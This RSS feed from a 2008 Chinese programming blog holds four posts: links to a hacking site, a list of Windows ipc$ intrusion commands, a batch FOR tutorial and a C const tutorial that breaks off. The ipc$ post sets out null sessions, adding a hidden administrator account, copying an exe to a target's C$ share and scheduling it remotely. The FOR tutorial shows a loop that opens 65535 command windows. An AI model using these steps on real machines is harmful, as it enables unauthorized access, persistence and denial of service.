﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-CppCode--我爱你，芳儿</title><link>http://www.cppblog.com/yjjlovewjf/</link><description>CppStudy--我爱你，芳儿</description><language>zh-cn</language><lastBuildDate>Sun, 12 Apr 2026 09:38:12 GMT</lastBuildDate><pubDate>Sun, 12 Apr 2026 09:38:12 GMT</pubDate><ttl>60</ttl><item><title>学黑客必去的网站“黑客基地”：</title><link>http://www.cppblog.com/yjjlovewjf/archive/2008/05/04/48803.html</link><dc:creator>wǒ愛伱--咾婆</dc:creator><author>wǒ愛伱--咾婆</author><pubDate>Sun, 04 May 2008 08:42:00 GMT</pubDate><guid>http://www.cppblog.com/yjjlovewjf/archive/2008/05/04/48803.html</guid><wfw:comment>http://www.cppblog.com/yjjlovewjf/comments/48803.html</wfw:comment><comments>http://www.cppblog.com/yjjlovewjf/archive/2008/05/04/48803.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/yjjlovewjf/comments/commentRss/48803.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/yjjlovewjf/services/trackbacks/48803.html</trackback:ping><description><![CDATA[<div class=cnt>
<p><font size=3>学黑客必去的网站&#8220;黑客基地&#8221;：</font></p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; <font size=2><a style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: rgb(0,255,0); TEXT-DECORATION: underline">http://www.hackbase.com</a></font></p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; 如何学黑客技术并从事网络安全：</p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; <font size=2><a style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: rgb(0,255,0); TEXT-DECORATION: underline">http://www.hackbase.com/tech/2007-02-11/38699.html</a></font></p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; 推荐最好用的免费冰盾ARP防火墙：</p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; <font size=2><a style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: rgb(0,255,0); TEXT-DECORATION: underline">http://www.hackbase.com/soft/2008-01-26/16558.html</a></font></p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; 新手学黑客快速入门的好地方<font size=2><span style="FONT-WEIGHT: 400">：</span></font></p>
<p style="LINE-HEIGHT: 150%"><font size=2><span style="FONT-WEIGHT: 400">&nbsp;&nbsp;&nbsp; </span><a style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: rgb(0,255,0); TEXT-DECORATION: underline" href="http://vip.hackbase.com/" target=_blank>http://vip.hackbase.com</a></font></p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; 推荐下载最专业的免费DDOS防火墙：</p>
<p style="LINE-HEIGHT: 150%">&nbsp;&nbsp;&nbsp; <font size=2><a style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: rgb(0,255,0); TEXT-DECORATION: underline">http://www.hackbase.com/news/2007-01-06/7357.html</a></font></p>
</div>
<img src ="http://www.cppblog.com/yjjlovewjf/aggbug/48803.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆</a> 2008-05-04 16:42 <a href="http://www.cppblog.com/yjjlovewjf/archive/2008/05/04/48803.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用ipc$入侵的相关命令：</title><link>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43602.html</link><dc:creator>wǒ愛伱--咾婆</dc:creator><author>wǒ愛伱--咾婆</author><pubDate>Mon, 03 Mar 2008 07:14:00 GMT</pubDate><guid>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43602.html</guid><wfw:comment>http://www.cppblog.com/yjjlovewjf/comments/43602.html</wfw:comment><comments>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43602.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/yjjlovewjf/comments/commentRss/43602.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/yjjlovewjf/services/trackbacks/43602.html</trackback:ping><description><![CDATA[<p><br>我们在入侵的时候难免遇到忘记命令的时候，现在将我所知道的一些命令总结出来提供给各位。通过这些命令可以解决很大一部分新手的问题。<br>00:net use<br>&nbsp;&nbsp;&nbsp; 作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。 <br>　　命令格式： <br>&nbsp;&nbsp;&nbsp; net use [devicename | *] [\\\\computername\\sharename[\\volume]] [password |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *]] [/user:[domainname\\]username] [[/delete] | [/persistent:{yes | no}]] <br>&nbsp;&nbsp;&nbsp; 参数介绍： <br>&nbsp;&nbsp;&nbsp; (1)键入不带参数的net use列出网络连接。 <br>　　(2)devicename指定要连接到的资源名称或要断开的设备名称。 <br>　　(3)\\\\computername\\sharename服务器及共享资源的名称。 <br>　　(4)password访问共享资源的密码。 <br>　　(5)*提示键入密码。 <br>　　(6)/user指定进行连接的另外一个用户。 <br>　　(7)domainname指定另一个域。 <br>　&nbsp; (8)username指定登录的用户名。 <br>　　(9)/home将用户连接到其宿主目录。 <br>　　(10)/delete取消指定网络连接。 <br>　　(11)/persistent控制永久网络连接的使用。<br>01: net use <a>\\\\X.X.X.X\\ipc$</a> \"\" /user:\"\"&nbsp; 建立空连接<br>02: net use <a>\\\\X.X.X.X\\ipc$</a> \"密码\" /user:\"用户名\" 建立非空连接<br>03: net use <a>\\\\X.X.X.X\\ipc$</a> /del 删除连接<br>04: net time <a>\\\\X.X.X.X['</a><br>&nbsp;&nbsp;&nbsp; 作用：使计算机的时钟与另一台计算机或域的时间同步。 <br>　　命令格式：net time [\\\\computername | /domain[:name]] [/set] <br>　　参数介绍： <br>　　(1)\\\\computername要检查或同步的服务器名。 <br>　　(2)/domain[:name]指定要与其时间同步的域。 <br>　　(3)/set使本计算机时钟与指定计算机或域的时钟同步。<br>05: net view <a>\\\\X.X.X.X</a><br>　　作用：显示域列表、计算机列表或指定计算机的共享资源列表。 <br>　　命令格式：net view [\\\\computername | /domain[:domainname]] <br>　&nbsp; 参数介绍： <br>&nbsp;&nbsp;&nbsp; (1)键入不带参数的net view显示当前域的计算机列表。 <br>　　(2)\\\\computername 指定要查看其共享资源的计算机。 <br>　　(3)/domain[:domainname]指定要查看其可用计算机的域。<br>06: net use X: <a>\\\\X.X.X.X\\Y</a>&nbsp; 将共享名为Y的共享资源映射为本地X盘<br>07: net use X: /del 删除映射的X盘<br>08: net share<br>&nbsp;&nbsp;&nbsp; 作用：创建、删除或显示共享资源。 <br>　　命令格式：net share share name=drive:path [/users:number | /unlimited]&nbsp;&nbsp;&nbsp;&nbsp; [/remark:\"text\"] 　　 <br>&nbsp;&nbsp;&nbsp; 参数介绍：(1)键入不带参数的net share显示本地计算机上所有共享资源的信息。 　&nbsp; (2)sharename是共享资源的网络名称。 <br>　　(3)drive:path指定共享目录的绝对路径。 <br>&nbsp;&nbsp;&nbsp; (4)/users:number设置可同时访问共享资源的最大用户数。 <br>　　(5)/unlimited不限制同时访问共享资源的用户数。 <br>　　(6)/remark:\"text \"添加关于资源的注释，注释文字用引号引住。 <br>09: net user<br>&nbsp;&nbsp;&nbsp; 作用：添加或更改用户帐号或显示用户帐号信息。 <br>&nbsp;&nbsp;&nbsp; 该命令也可以写为 net users <br>　　命令格式：net user [username [password | *] [options]] [/domain] <br>　　参数介绍：(1)键入不带参数的net user查看计算机上的用户帐号列表。 <br>　　(2)username添加、删除、更改或查看用户帐号名。 <br>　　(3)password为用户帐号分配或更改密码。 <br>　　(4)*提示输入密码。 <br>　　(5)/domain在计算机主域的主域控制器中执行操作。<br>10: net start 作用：启动服务，或显示已启动服务的列表。<br>11: net pause 作用：暂停正在运行的服务。<br>12: net Continue 作用：重新激活挂起的服务。<br>13: net stop<br>&nbsp;&nbsp;&nbsp; 作用：停止 Windows NT 网络服务。 <br>　　命令格式：net stop service <br>　　参数介绍： <br>　　(1)alerter(警报) <br>　　(2)client service for netware(Netware 客户端服务) <br>　　(3)clipbook server(剪贴簿服务器) <br>　　(4)computer browser(计算机浏览器) <br>　　(5)directory replicator(目录复制器) <br>　　(6)ftp publishing service (ftp )(ftp 发行服务) <br>　　(7)lpdsvc <br>　　(8)net logon(网络登录) <br>　　(9)network dde(网络 dde) <br>　　(10)network dde dsdm(网络 dde dsdm) <br>　　(11)network monitor agent(网络监控代理) <br>　　(12)nt lm security support provider(NT LM 安全性支持提供) <br>　　(13)ole(对象链接与嵌入) <br>　　(14)remote access connection manager(远程访问连接管理器) <br>　　(15)remote access isnsap service(远程访问 isnsap 服务) <br>　　(16)remote access server(远程访问服务器) <br>　　(17)remote procedure call (rpc) locator(远程过程调用定位器) <br>　　(18)remote procedure call (rpc) service(远程过程调用服务) <br>　　(19)schedule(调度) <br>　　(20)server(服务器) <br>　　(21)simple tcp/ip services(简单 TCP/IP 服务) <br>　　(22)snmp <br>　　(23)spooler(后台打印程序) <br>　　(24)tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具) <br>　　(25)ups <br>　　(26)workstation(工作站) <br>　　(27)messenger(信使) <br>　　(28)dhcp client <br>　　(29)eventlog <br>14:net Statistics <br>　　作用：显示本地工作站或服务器服务的统计记录。 <br>　　命令格式：net statistics [workstation | server] <br>　　参数介绍：(1)键入不带参数的net statistics列出其统计信息可用的运行服务。 <br>　&nbsp; (2)workstation显示本地工作站服务的统计信息。 <br>　　(3)server显示本地服务器服务的统计信息。 　 <br>　&nbsp; 例：net statistics server | more显示服务器服务的统计信息。<br>15:net Session ( 等同于net sessions 或net sess)<br>　作用：列出或断开本地计算机和与之连接的客户端的会话.<br>　命令格式：net session [\\\\computername] [/delete] <br>　参数介绍：(1)键入不带参数的net session显示所有与本地计算机的会话的信息。 <br>&nbsp; (2)\\\\computername标识要列出或断开会话的计算机。 <br>　举例说明： net session <a>\\\\cnse8</a>要显示计算机名为cnse8的客户端会话信息列表。 </p>
<p>15: net user 帐号名 密码 /add 添加帐号和密码<br>16: net user 帐号名 /active:yes 激活帐号<br>17: net localgroup administrators 帐号名 /add 将该帐号加入本地admin组<br>18: Net Send <br>　　作用：向网络的其他用户、计算机或通信名发送消息。 <br>　　命令格式：net send {name | * | /domain[:name] | /users} message <br>　　参数介绍：(1)name要接收发送消息的用户名、计算机名或通信名。 <br>　&nbsp; (2)*将消息发送到组中所有名称。 <br>　　(3)/domain[:name]将消息发送到计算机域中的所有名称。 <br>　　(4)/users将消息发送到与服务器连接的所有用户。 <br>　　(5)message作为消息发送的文本。 <br>　　例:(1)net send /users Welcome to cnse8.com 向所有的连接本机的用户显示&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \"Welcome to cnse8.com\"<br>19:net Config <br>　 作用：显示当前运行的可配置服务，或显示并更改某项服务的设置。 <br>　 命令格式：net config [service [options]] <br>&nbsp;&nbsp; 参数介绍：<br>&nbsp;&nbsp; (1)键入不带参数的net config显示可配置服务的列表。&nbsp; <br>&nbsp;&nbsp; (2)service通过net config命令进行配置的服务(server或workstation)。 <br>&nbsp;&nbsp; (3)options服务的特定选项。<br>20:net Accounts <br>　 作用：更新用户帐号数据库、更改密码及所有帐号的登录要求。 <br>　 命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [/domain] <br>　 参数介绍： <br>&nbsp;&nbsp; (1)键入不带参数的net accounts显示当前密码设置、登录时限及域信息。 <br>&nbsp;&nbsp; (2)/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时。 <br>&nbsp;&nbsp; (3)/minpwlen:length设置用户帐号密码的最少字符数。&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; (4)/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。 <br>&nbsp;&nbsp; (5)/minpwage:days设置用户必须保持原密码的最小天数。 <br>&nbsp;&nbsp; (6)/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用与&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 之相同的密码。<br>&nbsp;&nbsp; (7)/domain在当前域的主域控制器上执行该操作。 <br>&nbsp;&nbsp; (8)/sync当用于主域控制器时，该命令使域中所有备份域控制器同步。 <br>　　举例说明：net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7。 <br>21:copy 路径 \\ 文件名 <a href="file://ip//">\\IP\\</a>共享目录名<br>&nbsp;&nbsp; 例：copy c:\\cnse8.exe <a>\\\\X.X.X.X\\c$</a> 将c盘下的cnse8.exe文件复制到对方得的c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 盘内。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copy <a>\\\\X.X.X.X\\c$\\cnse8.exe</a> c:\\ 将远程机器上的文件cnse8.exe复制到自己<br>&nbsp;&nbsp; 机器上。<br>22:at <a>\\\\IP</a> 时间 程序名 远程添加某个计划.</p>
<img src ="http://www.cppblog.com/yjjlovewjf/aggbug/43602.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆</a> 2008-03-03 15:14 <a href="http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43602.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>非常好的for 教程,　当年我就是看这个学习for 的--转</title><link>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43598.html</link><dc:creator>wǒ愛伱--咾婆</dc:creator><author>wǒ愛伱--咾婆</author><pubDate>Mon, 03 Mar 2008 05:40:00 GMT</pubDate><guid>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43598.html</guid><wfw:comment>http://www.cppblog.com/yjjlovewjf/comments/43598.html</wfw:comment><comments>http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43598.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/yjjlovewjf/comments/commentRss/43598.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/yjjlovewjf/services/trackbacks/43598.html</trackback:ping><description><![CDATA[<h2>&nbsp;</h2>
<div class=t_msgfont id=postmessage_76659><br>批处理for命令详解<br>FOR这条命令基本上都被用来处理文本,但还有其他一些好用的功能!<br>看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)<br>FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令<br>参数:FOR有4个参数 /d&nbsp; &nbsp;/l&nbsp; &nbsp;/r&nbsp; &nbsp;/f&nbsp; &nbsp;他们的作用我在下面用例子解释<br>%%变量名 :这个变量名可以是小写a-z或者大写A-Z,他们区分大小写,FOR会把每个读取到的值给他;<br>IN:命令的格式,照写就是了;<br>(相关文件或命令) :FOR要把什么东西读取然后赋值给变量,看下面的例子<br>do:命令的格式,照写就是了!<br>执行的命令:对每个变量的值要执行什么操作就写在这.<br>可以在CMD输入for /?看系统提供的帮助!对照一下<br>FOR %%variable IN (set) DO command [command-parameters]<br>&nbsp;&nbsp;%%variable&nbsp;&nbsp;指定一个单一字母可替换的参数。<br>&nbsp;&nbsp;(set)&nbsp; &nbsp;&nbsp; &nbsp;指定一个或一组文件。可以使用通配符。<br>&nbsp;&nbsp;command&nbsp; &nbsp; 指定对每个文件执行的命令。<br>&nbsp;&nbsp;command-parameters<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 为特定命令指定参数或命令行开关。<br><br>现在开始讲每个参数的意思<br>/d <br>仅为目录 <br>如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符（* 和 ?），将对与 Set 相匹配的每个目<br>录（而不是指定目录中的文件组）执行指定的 Command。<br>系统帮助的格式:FOR /D %%variable IN (set) DO command<br>他主要用于目录搜索,不会搜索文件,看这样的例子<br>@echo off<br>for /d %%i in (*) do @echo %%i<br>pause<br>把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!<br>在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来<br>@echo off<br>for /d %%i in (???) do @echo %%i<br>pause<br>这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了<br><br>思考题目:<br>@echo off<br>for /d %%i in (window?) do @echo %%i<br>pause<br>保存到C盘下执行,会显示什么呢?自己看吧!<br>/D参数只能显示当前目录下的目录名字,这个大家要注意!<br><br>/R<br>递归 <br>进入根目录树 [Drive:]Path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则认为是<br>当前目录。如果 Set 只是一个句点 (.)，则只枚举目录树。<br>系统帮助的格式:FOR /R [[drive:]path] %%variable IN (set) DO command<br>上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比<br>/D强大多了!<br>他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!<br>@echo off<br>for /r c:\ %%i in (*.exe) do @echo %%i<br>pause<br>咋们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部<br>的EXE文件都列出来了,这里的c:\就是目录了。<br>再来一个<br>@echo off<br>for /r %%i in (*.exe) do @echo %%i<br>pause<br>参数不一样了，这个命令前面没加那个C:\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这<br>个BAT你把他防灾d:\test目录下执行,那么他就会把D:\test目录和他下面的子目录的全部EXE文件列出<br>来!!!<br><br>/L<br>迭代数值范围 <br>使用迭代变量设置起始值 (Start#)，然后逐步执行一组范围的值，直到该值超过所设置的终止值 (End#)<br>。/L 将通过对 Start# 与 End# 进行比较来执行迭代变量。如果 Start# 小于 End#，就会执行该命令。<br>如果迭代变量超过 End#，则命令解释程序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执<br>行此范围内的值。例如，(1,1,5) 生成序列 1 2 3 4 5，而 (5,-1,1) 则生成序列 (5 4 3 2 1)。语法是： <br>系统帮助的格式:for /L %% Variable in (Start#,Step#,End#) do Command <br>例如：<br>@echo off<br>for /l %%i in (1,1,5) do @echo %%i<br>pause<br>保存执行看效果,他会打印从1 2 3 4 5&nbsp;&nbsp;这样5个数字<br>(1,1,5)这个参数也就是表示从1开始每次加1直到5终止!<br>再看这个例子<br>@echo off<br>for /l %%i in (1,1,5) do start cmd<br>pause<br>执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,<br>我先告诉大家,会打开65535个CMD窗口....这么多你不死机算你强!<br>当然我们也可以把那个start cmd改成md %%i 这样就会建立指定个目录了!!!名字为1-65535<br>看完这个被我赋予破坏性质的参数后,我们来看最后一个参数<br>/f<br><br>含有/F的for详细说明<br>含有/F的for有很大的用处，在批处理中使用的最多，用法如下：<br>格式：<br>FOR /F ["options"] %%i IN (file) DO command<br>FOR /F ["options"] %%i IN ("string") DO command<br>FOR /F ["options"] %%i IN ('command') DO command<br><br>这个可能是最常用的，也是最强的命令，主要用来处理文件和一些命令的输出结果。<br>file代表一个或多个文件<br>string 代表字符串<br>command代表命令<br>["options"] 可选<br>对于FOR /F %%i IN (file) DO command<br>file为文件名，按照官方的说法是，for会依次将file中的文件打开，并且在进行到下一个文件之前将每个文件读取到内存，按照每一行分成一个一个的元素，忽略空白的行，看个例子。<br>假如文件a.txt中有如下内容：<br><br>第1行第1列 第1行第2列 第1行第3列<br>第2行第1列 第2行第2列 第2行第3列<br>第3行第1列 第3行第2列 第3行第3列<br><br>你想显示a.txt中的内容，会用什么命令呢？当然是type，type a.txt<br>for也可以完成同样的命令：<br>for /f %%i in (a.txt) do echo %%i<br>还是先从括号执行，因为含有参数/f,所以for会先打开a.txt，然后读出a.txt里面的所有内容，把它作为一个集合，并且以每一行作为一个元素，所以会产生这样的集合，<br><br>{&#8220;第1行第1列 第1行第2列 第1行第3列&#8221;， //第一个元素<br>&#8220;第2行第1列 第2行第2列 第2行第3列&#8221;， //第二个元素<br>&#8220;第3行第1列 第3行第2列 第3行第3列&#8221;}&nbsp; &nbsp;//第三个元素<br><br>集合中只有3个元素，同样用%%i依次代替每个元素，然后执行do后面的命令。<br>具体过程：<br><br>用%%i代替&#8220;第1行第1列 第1行第2列 第1行第3列&#8221;，执行do后面的echo %%i，显示&#8220;第1行第1列 第1行第2列 第1行第3列&#8221;，<br>用%%i代替&#8220;第2行第1列 第2行第2列 第2行第3列&#8221;，执行echo %%i，显示&#8220;第2行第1列 第2行第2列 第2行第3列&#8221;，<br>依次，直到每个元素都代替完为止。<br><br>为了加强理解/f的作用，请执行一下两个命令，对比即可明白：<br><br>for /f %%i in (a.txt) do echo %%i //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中 <br>的内容。<br>for %%i in (a.txt) do echo %%i //而这个只会显示a.txt这个名字，并不会读取其中的内容。<br><br>通过上面的学习，我们发现for /f会默认以每一行来作为一个元素，但是如果我们还想把每一行再分解更小的内容，该怎么办呢？不用担心，for命令还为我们提供了更详细的参数，使我们将每一行分为更小的元素成为可能。<br>它们就是：delims和tokens<br>delims 用来告诉for每一行应该拿什么作为分隔符，默认的分隔符是空格和tab键<br>比如，还是上面的文件，我们执行下面的命令：<br><br>for /f "delims= " %%i in (a.txt) do echo %%i<br><br>显示的结果是：<br><br>第1行第1列<br>第2行第1列<br>第3行第1列<br><br>为什么是这样的呢。因为这里有了delims这个参数，=后面有一个空格，意思是再将每个元素以空格分割，默认是只取分割之后的第一个元素。<br>执行过程是：<br><br>将第一个元素&#8220;第1行第1列 第1行第2列 第1行第3列&#8221;分成三个元素：&#8220;第1行第1列&#8221; &#8220;第1行第2列&#8221; &#8220;第1行第3列&#8221;，它默认只取第一个，即&#8220;第1行第1列&#8221;，然后执行do后面的命令，依次类推。<br><br>但是这样还是有局限的，如果我们想要每一行的第二列元素，那又如何呢？<br>这时候，tokens跳出来说，我能做到。<br>它的作用就是当你通过delims将每一行分为更小的元素时，由它来控制要取哪一个或哪几个。<br>还是上面的例子，执行如下命令：<br><br>for /f "tokens=2 delims= " %%i in (a.txt) do echo %%i<br><br>执行结果：<br><br>第1行第2列<br>第2行第2列<br>第3行第2列<br>如果要显示第三列，那就换成tokens=3。<br>同时tokens支持通配符*，以及限定范围。<br>如果要显示第二列和第三列，则换成tokens=2,3或tokens=2-3,如果还有更多的则为：tokens=2-10之类的。<br>此时的命令为：<br><br>for /f "tokens=2,3 delims= " %%i in (a.txt) do echo %%i %%j<br><br>怎么多出一个%%j？<br>这是因为你的tokens后面要取每一行的两列，用%%i来替换第二列，用%%j来替换第三列。<br>并且必须是按照英文字母顺序排列的，%%j不能换成%%k，因为i后面是j<br>执行结果为：<br><br>第1行第2列 第1行第3列<br>第2行第2列 第2行第3列<br>第3行第2列 第3行第3列<br>对以通配符*，就是把这一行全部或者这一行的剩余部分当作一个元素了。<br>比如：<br><br>for /f "tokens=* delims= " %%i in (a.txt) do echo %%i<br><br>执行结果为：<br><br>第1行第1列 第1行第2列 第1行第3列<br>第2行第1列 第2行第2列 第2行第3列<br>第3行第1列 第3行第2列 第3行第3列<br>其实就跟for /f %%i in (a.txt) do echo %%i的执行结果是一样的。<br>再如：<br><br>for /f "tokens=2,* delims= " %%i in (a.txt) do echo %%i %%j<br>执行结果为：<br><br>第1行第2列 第1行第3列<br>第2行第2列 第2行第3列<br>第3行第2列 第3行第3列<br><br>用%%i代替第二列，用%%j代替剩余的所有<br>最后还有skip合eol，这俩个简单，skip就是要忽略文件的前多少行，而eol用来指定当一行以什么符号开始时，就忽略它。<br>比如：<br><br>for /f "skip=2 tokens=*" %%i in (a.txt) do echo %%i<br>结果为:<br><br>第3行第1列 第3行第2列 第3行第3列<br>用skip来告诉for跳过前两行。<br>如果不加tokens=*的话，执行结果为：<br><br>第3行第1列<br>不知道怎么回事。<br>再如，当a.txt内容变成：<br><br>.第1行第1列 第1行第2列 第1行第3列<br>.第2行第1列 第2行第2列 第2行第3列<br>第3行第1列 第3行第2列 第3行第3列<br>执行for /f "eol=. tokens=*" %%i in (a.txt) do echo %%i结果是：<br><br>第3行第1列 第3行第2列 第3行第3列<br>用eol来告诉for忽略以&#8220;.&#8221;开头的行。<br>同样也必须加tokens=*，否则只会显示&#8220;第3行第1列<br></div>
<img src ="http://www.cppblog.com/yjjlovewjf/aggbug/43598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆</a> 2008-03-03 13:40 <a href="http://www.cppblog.com/yjjlovewjf/archive/2008/03/03/43598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对const使用的理解</title><link>http://www.cppblog.com/yjjlovewjf/archive/2008/02/01/42369.html</link><dc:creator>wǒ愛伱--咾婆</dc:creator><author>wǒ愛伱--咾婆</author><pubDate>Fri, 01 Feb 2008 13:09:00 GMT</pubDate><guid>http://www.cppblog.com/yjjlovewjf/archive/2008/02/01/42369.html</guid><wfw:comment>http://www.cppblog.com/yjjlovewjf/comments/42369.html</wfw:comment><comments>http://www.cppblog.com/yjjlovewjf/archive/2008/02/01/42369.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/yjjlovewjf/comments/commentRss/42369.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/yjjlovewjf/services/trackbacks/42369.html</trackback:ping><description><![CDATA[<p>*/ --------------------------------------------------------------------------------------<br>*/ 出自： 编程中国&nbsp;&nbsp;<a href="http://www.bc-cn.net/" target=_blank><u><font color=#800080>http://www.bc-cn.net</font></u></a><br>*/ 作者： neverTheSame&nbsp;&nbsp;&nbsp;&nbsp;E-mail：zhaoxufeng9997@126.com&nbsp;&nbsp;&nbsp;&nbsp;QQ：475818502<br>*/ 时间： 2007-11-16&nbsp;&nbsp;编程<a class=channel_keylink href="http://bbs.bccn.net/"><u><font color=#810081>论坛</font></u></a>首发<br>*/ 声明： 尊重作者劳动，转载请保留本段文字<br>*/ --------------------------------------------------------------------------------------<br><br><br>const对很多人来说既陌生又熟悉.可以说很棘手的问题,<br>有些地方很难理解.我在刚学C的时侯,对它的理解也是很模糊的.<br>好像有点理解,但又说不出个所以然来.<br>在此,就向大家分享,我一直以来对它的理解,如有不当之处请指教.</p>
<p>&nbsp;&nbsp; const可以说一种常量的声明的关键字,如const int a=2;变量a就是一个常变量,<br>a的值不能被改变,这个改变是一定意义上的不能改变.而是说值的改变不能直接通过a这个符号<br>来改变.但事实上,a的值是可能改变的.如下例子:<br>#include&lt;stdio.h&gt;<br>int main()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;const int a=3;<br>&nbsp;&nbsp;&nbsp;&nbsp;int *p=(int*)&amp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;*p=100;<br>&nbsp;&nbsp;&nbsp;&nbsp;printf("%d",a);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br>这样a的值就被改变了.<br>&nbsp;&nbsp; const也可以说一种只读的关键字,如int integerArray[10]={0};const int* pointer=integerArray;<br>这里pointer是指向一个常变量的<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>变量.pointer指向可能改变,但它所指向的变量的值就不能直接通过pointer来改变.<br>如:*(p+1)=2;这是不可以的.但如果有另外一个数组integerArray1,p=integerArray1是可以有.<br>还有指向的变量不可改变,这种不可改变是一定意义的改变.<br>如下例子:<br>#include&lt;stdio.h&gt;<br>int main()<br>{&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;int array[10]={0};<br>&nbsp;&nbsp;&nbsp;&nbsp;const int *pointer=array;<br>&nbsp;&nbsp;&nbsp;&nbsp;int *pointer1=(int*)pointer;<br>&nbsp;&nbsp;&nbsp;&nbsp;pointer1[0]=1;<br>&nbsp;&nbsp;&nbsp;&nbsp;printf("%d",array[0]);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br>以上例子说明了,不能直接通过pointer改变array,但可能间接通过pointer来改变array;<br>&nbsp;&nbsp;&nbsp;&nbsp;现在说一说有const声明常指针,它的声明不像声明指向常量的<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>形式.<br>它的声明形式为:int* const pointer; .常<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>在编程的过程中它的指向不能改变.<br>因此,常<a class=channel_keylink 